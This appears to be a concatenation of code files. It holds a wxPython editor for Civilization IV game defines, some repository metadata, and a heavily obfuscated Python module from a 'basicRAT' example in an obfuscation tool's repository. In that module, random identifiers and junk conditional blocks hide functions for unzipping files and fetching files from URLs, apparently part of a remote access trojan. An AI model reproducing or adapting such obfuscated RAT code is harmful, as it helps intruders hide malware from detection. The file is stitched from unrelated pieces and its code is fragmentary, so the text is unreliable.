self.hSizer.Add( hPanel, 1, wx.EXPAND ) self.hSizer.Layout() class CvDefineEditorApp( wx.App ): def MainLoop( self ): kEventLoop = wx.EventLoop() wx.EventLoop.SetActive( kEventLoop ) while ( kEventLoop.Pending() ): kEventLoop.Dispatch() def OnInit( self ): self.hFrame = CvDefineEditorFrame() self.SetTopWindow( self.hFrame ) self.hFrame.Show(1) self.SetExitOnFrameDelete( False ) return 1 kApp = CvDefineEditorApp(0)

31.537815

99

0.676792

import wx; from CvPythonExtensions import * gc = CyGlobalContext() gVDS = gc.getCyDefinesVarSystem() class CvIntEditorPanel( wx.Panel ): def __init__( self, kParent, szVarName ): wx.Panel.__init__( self, kParent ) self.hLabel = wx.StaticText( self, -1, szVarName ) self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueInt( szVarName ) ) ) self.szVarName = szVarName; self.hSizer = wx.BoxSizer( wx.HORIZONTAL ) self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 ) self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT ) self.SetSizer( self.hSizer ) self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit ) def OnUpdateText( self, kEvent ): gVDS.setValueInt( self.szVarName, int(self.hEdit.GetLineText( 0 )) ) class CvFloatEditorPanel( wx.Panel ): def __init__( self, kParent, szVarName ): wx.Panel.__init__( self, kParent ) self.hLabel = wx.StaticText( self, -1, szVarName ) self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueFloat( szVarName ) ) ) self.szVarName = szVarName; self.hSizer = wx.BoxSizer( wx.HORIZONTAL ) self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 ) self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT ) self.SetSizer( self.hSizer ) self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit ) def OnUpdateText( self, kEvent ): gVDS.setValueFloat( self.szVarName, float(self.hEdit.GetLineText( 0 )) ) class CvStringEditorPanel( wx.Panel ): def __init__( self, kParent, szVarName ): wx.Panel.__init__( self, kParent ) self.hLabel = wx.StaticText( self, -1, szVarName ) self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueString( szVarName ) ) ) self.szVarName = szVarName; self.hSizer = wx.BoxSizer( wx.HORIZONTAL ) self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 ) self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT ) self.SetSizer( self.hSizer ) self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit ) def OnUpdateText( self, kEvent ): gVDS.setValueString( self.szVarName, self.hEdit.GetLineText( 0 ) ) class CvDefineEditorFrame( wx.Frame ): ID_VARCOMBO = 1000 def __init__( self ): wx.Frame.__init__( self, None, -1, "Info Editor", (-1,-1), (-1,-1), wx.MAXIMIZE_BOX | wx.CLOSE_BOX | wx.SYSTEM_MENU | wx.CAPTION | wx.RESIZE_BORDER | wx.VSCROLL ) self.hSizer = wx.BoxSizer( wx.VERTICAL ) self.hVarCombo = wx.ComboBox( self, style = wx.CB_SORT | wx.CB_DROPDOWN | wx.CB_READONLY ) self.hSizer.Add( self.hVarCombo, 1, wx.EXPAND ) self.SetSizer( self.hSizer ) szVarName = gVDS.getFirstVariableName() while szVarName != "": self.hVarCombo.Append( szVarName ) szVarName = gVDS.getNextVariableName() self.Bind( wx.EVT_TEXT, self.OnComboSelection, self.hVarCombo ) def OnComboSelection( self, kEvent ): szVarName = self.hVarCombo.GetValue() if szVarName != "": szVarType = gVDS.getVariableType( szVarName ) hPanel = None if szVarType == "int": hPanel = CvIntEditorPanel( self, szVarName ) elif szVarType == "float": hPanel = CvFloatEditorPanel( self, szVarName ) elif szVarType == "string": hPanel = CvStringEditorPanel( self, szVarName ) if hPanel != None: self.hSizer.Add( hPanel, 1, wx.EXPAND ) self.hSizer.Layout() class CvDefineEditorApp( wx.App ): def MainLoop( self ): kEventLoop = wx.EventLoop() wx.EventLoop.SetActive( kEventLoop ) while ( kEventLoop.Pending() ): kEventLoop.Dispatch() def OnInit( self ): self.hFrame = CvDefineEditorFrame() self.SetTopWindow( self.hFrame ) self.hFrame.Show(1) self.SetExitOnFrameDelete( False ) return 1 kApp = CvDefineEditorApp(0)

true

f7f35712eb938fe589999abc60637f719a79625e

33,978

py

Python

intensio/examples/python/intermediate/output/basicRAT-example/core/zMJIDSQBjssyEayGxDrxJGHzInFeSJvxzsGGSMSsCIHSEyiEAwPOFiAvyOoavMB.py

Warlockk/Intensio-Obfuscator

befaf1cfd2f7320266f07ef036542413317b3d9b

[ "MIT" ]

1

2020-02-25T10:54:44.000Z

intensio/examples/python/intermediate/output/basicRAT-example/core/zMJIDSQBjssyEayGxDrxJGHzInFeSJvxzsGGSMSsCIHSEyiEAwPOFiAvyOoavMB.py

Warlockk/Intensio-Obfuscator

befaf1cfd2f7320266f07ef036542413317b3d9b

[ "MIT" ]

null

intensio/examples/python/intermediate/output/basicRAT-example/core/zMJIDSQBjssyEayGxDrxJGHzInFeSJvxzsGGSMSsCIHSEyiEAwPOFiAvyOoavMB.py

Warlockk/Intensio-Obfuscator

befaf1cfd2f7320266f07ef036542413317b3d9b

[ "MIT" ]

null

# -*- coding: utf-8 -*- CMHJDDuwtnJOJEgwAFzaRuhsJjPDDNqFVEICfSJnGHJHPCAGsGSltJJqzZSnBSG = 'SIxBtIIzPyYCFYIzthFRGSvFDDuFwBovWjGSmCEPSGJxOHPxQIdPvFRQipQUoSF' tSfJpykyVzZUSAjLDRaOWJiRuFJvewFptEWFlGxrusCHsNtHZIEEUDvGgRsuxvk = 'HTTlzOPJtIHQDRIBqsQBxwSBFAWoADSnHsNVujDRuoGHJOSSPMmXGxSVpktJqC' jyPSVREmREuSPOwjDnoEDRgMelDDDAxfDwQSrmTvIHRnfWGPxBIDDkuIChxowtq = 'BxDOFNFjyFJBgSGqHJGkBEnqJpIiGQGSorjDmIvGITqHugtIBnzCZGYJuzCGVzq' FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD = 'EDPCLQSlOuCYBGJIQAzqDClCAEySREJSOGIrINFNPSBJkASeCvXCFWnCFJPHUJ' RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx = 'xPoqwOHsSBnOLYSvhRElnoumSIASsDtxOuPvHmtmPoAPmzJqNduXySDQiqRDxPE' qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO = 'GAluSGCowwqErAgJoNFLFyFTrirxkWzHJsRhJkIgyDUGwAACByPQIDvGtWzCCHC' if jyPSVREmREuSPOwjDnoEDRgMelDDDAxfDwQSrmTvIHRnfWGPxBIDDkuIChxowtq == FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD: for qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO in RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx: if qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO == FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD: RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx = CMHJDDuwtnJOJEgwAFzaRuhsJjPDDNqFVEICfSJnGHJHPCAGsGSltJJqzZSnBSG else: FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD = tSfJpykyVzZUSAjLDRaOWJiRuFJvewFptEWFlGxrusCHsNtHZIEEUDvGgRsuxvk import datetime SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = 'iyGEgFrlTCsGQIESMwGGQUkoJRTxnGAvRGAGEwrEEvuorDDmDDzoAsHSEWzczjD' zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF = 'yGCkISBCAAxRcNwrFCOpEwvSCNILDgBXeRkQvFxjEHVQGQHsrvoyJnNFsIFJzmE' OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'DQAWGuMAGMmCtlvqQwfMDvsNVBGHiCsGAyCspHAuWwJFtJvFzDxIJKfJJNvUAJv' QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = 'qyQSXriqzExEXExDkHHpGNGruDCzJzzqPIotADVnsEJHxOCQezDPrGFGYzySShJ' if zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF == SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE: for SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: if zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln' elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln: QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE else: SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp: for OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: if QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln' elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln: QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE else: SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF for OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: if QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF: OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln' elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln: QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE else: SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln else: SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF import os FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'ISFIAYAHwkEFiuONGFHqRAtVFXzyJDtHjzsFBnBESqBnIJkQIzDIwvAtglMGsPM' kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH = 'yYmHmHmzHsESAFBzIDzIMQvkYvAcJFrQJuEmGdvsFktmJekdGIBqARfxZHERxm' if FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ != kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH: FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'yYmHmHmzHsESAFBzIDzIMQvkYvAcJFrQJuEmGdvsFktmJekdGIBqARfxZHERxm' kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH = FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'ISFIAYAHwkEFiuONGFHqRAtVFXzyJDtHjzsFBnBESqBnIJkQIzDIwvAtglMGsPM' import urllib try: EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI = 'TwOHNBAzVIyApyEDswDXBpQpOnECDHQWyouDxtuDolVxiszGyvxOyqzAAJFESCH' ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = 'xrIokGHUrFQECFJGQIGreCbIGWEmtoCcvENBAkGwBOuFZIBJIiMZIJCqVSpzmou' GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF = 'WrtuSGlSwnuszYqDRBGIEIfExoPQNgNmJIBPDiDBvDQQRHALxMuMkJHyHiADJRC' BIuwFnluzoQzttQzSDDHurryGrSlBAIuREYnjWhRGuvjzGWuorrIJsRFvVqzIt = 'mgSgFIsuJsszAyeDxjFEjOfEeFDLnENdJoPkBHRXFQyCIGkKyRqIONJuGpzxqDW' OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY = 'RAvGyqIYEvRyaRlLFEuBFZGgFRAMHXRFhrnEstrJIGRqCvCmHOFyrGVWGBwQGqu' HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS = 'olGrlGNGEHmFaSIJZfHhuhPRQPEHEwDCGRynRfFFKsBJQJNDRpNGUEwooQOIxCx' xJeGJRCpEDFVvNfOQSPHyCqHtQGDMPJuxyctBSZzSxZsyDoPBCEIvShCPykICgG = [ 'TwOHNBAzVIyApyEDswDXBpQpOnECDHQWyouDxtuDolVxiszGyvxOyqzAAJFESCH', 'WrtuSGlSwnuszYqDRBGIEIfExoPQNgNmJIBPDiDBvDQQRHALxMuMkJHyHiADJRC', 'RAvGyqIYEvRyaRlLFEuBFZGgFRAMHXRFhrnEstrJIGRqCvCmHOFyrGVWGBwQGqu', 'wtJEzDGzFFnyZAEzoASGSDJDqRRvTBuNxGvONTOhzmVuqCmUjxlJPuIYxQCuSJA' ] for EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI in HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS: for ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv in GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF: if BIuwFnluzoQzttQzSDDHurryGrSlBAIuREYnjWhRGuvjzGWuorrIJsRFvVqzIt == OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY: ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI elif OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY == ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv: ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS else: OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY = HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS for ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv in xJeGJRCpEDFVvNfOQSPHyCqHtQGDMPJuxyctBSZzSxZsyDoPBCEIvShCPykICgG: GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF = ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv except Exception: pass import zipfile pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'YwRNIFoCyIFsvxqBxzNIizeFErorSeRCyETvlMHhQAvGzJHCTTAFHyJHYpmvuA' GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq = 'SCJHNPvSnzDEFmpgxAAvYEwjtEyCJpsCPvkwEIGjMeztOcEpetJDvDGOGCCvOTJ' if pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz != GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq: pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'SCJHNPvSnzDEFmpgxAAvYEwjtEyCJpsCPvkwEIGjMeztOcEpetJDvDGOGCCvOTJ' GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq = pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'YwRNIFoCyIFsvxqBxzNIizeFErorSeRCyETvlMHhQAvGzJHCTTAFHyJHYpmvuA' def GDksjjtSttQJGqJCSHBpJxAJSRDrJIDqHDEJwJyFDxQMvxxSnWJyzVqRauBigxx(f): if os.path.isfile(f): BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = 'IuUNGGDSRMJJONSAdyHnDBJCHPFInpMpoBnRHBswnUHEAzpDQDZxPQGQJMXFqvw' swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe = 'JnHFgzHtJFCHkVqCSPHxUROkQIOEFYJzrjPUtnCJLNtCwQpxknoQDQzIGQhLFGI' IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'BIwmUvRUnICHGRSBPDpWwuCjFkEYGENFyGgtOsvHpQGnFPDHOVXJPtDAHwwvomJ' VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = 'PGXxBiRHDpIahBHrZhOIRqQCAAcymGBRewrqutGQGArBiDDOrImANqVSDyOvFIF' if swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe == BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC: for BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC in swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe: if swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe: IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA' elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA: VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC else: BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq: for IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq in swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe: if VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe: IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA' elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA: VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC else: BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe for IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq in 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zipfile.ZipFile(f) as zf: wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv = 'sBtvGgGVqRGkYpIVwoZuCllBAnGHZBuyQDwoIPBzMzQYGsCASCHwKINzCxCOAPE' FKffspJwnTawGkDqRemOGHjGDqGBEeHBHmzCsytLIJRRvnRgYzGmMxImSGRyQSD = 'PyjrtJtwZDGJAsSCEzElsBxvZySGTZRRiZGINHVfiJhpwwRDQrUqSmGqEGNPsZY' tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA = 'DSCjHBGUEyCzPIEODCLQuSQJuCxNfuImyCnFezsRvzZpoJCDIZDDQtICnEmBxGx' ySuoYORsoPQrBJzqXQDLpRyXRUSySRADCqRMzITGZeqFCpRSETQePXJpGvuySgC = 'oNrCeBvIJupSjIJGGUSTRSHHHQDMpByxtOfSRynmEcxQYFfjSEqPzMDzFGPqSFR' DOCoCDNGitCXAjAzoDwTPypxYWRkECNoCMsjIEJEnHDOiPxvEkXEFwPBPzISuDv = 'mBsZtkPRrrgJSXBzQJJDDkMBCRSBjOMqPJVVVzBqSGFMrSjNOjBDGIyuBpHBKxS' IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD = 'psEQziCEPHrJSzWBGSpREbxsSSBQTNsvnVtLXDtGIvSJzJGRDJFpEECISwDSPBF' if wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv != ySuoYORsoPQrBJzqXQDLpRyXRUSySRADCqRMzITGZeqFCpRSETQePXJpGvuySgC: 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rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC else: rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu return 'Error: Failed to GDksjjtSttQJGqJCSHBpJxAJSRDrJIDqHDEJwJyFDxQMvxxSnWJyzVqRauBigxx file.' else: try: IDZADQHQsJIGHRmsybSFjjEiRrPvQHIuRhRNAEBzCBZUIyizAmlwVGRIRIxywvw = 'WnMnyHutfGRxEDPpVURvjCuFHplMbpBxrzQIDFoIuFAFNirzJZoQGaFzORDhqBo' FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx = 'XEqnGvGBCGpwQCFCnJISSDweuECROHPIoxHQuRGvxLxEDGxltOHWJzpGvlZFrDY' SvEoPDmsIFyCRPRJoTQDFxhHsDZCOQmohLAGZxJIAplJRjmSFwxuHFLDrzmGJJH = 'pzREqCGBxIEOtGKwCnXtOBxBQHgoxBuvFGOqRoHDQDvHFJRGCBFAxwQtFHIvGup' ipEJIbJBpMeRJxrGlQwFyDHtxPHAFEoSOJFJGhxDJCAIXVkxCIOACHICnksBJQy = 'IRCUGySzgCAnTRAIpvHoRfGAGHFDtcQoEGmFCvUAXqNyEmnvRJIEwJJHDiRRHzL' ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh = 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HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ = zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH.split('/')[-1] if not HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ: 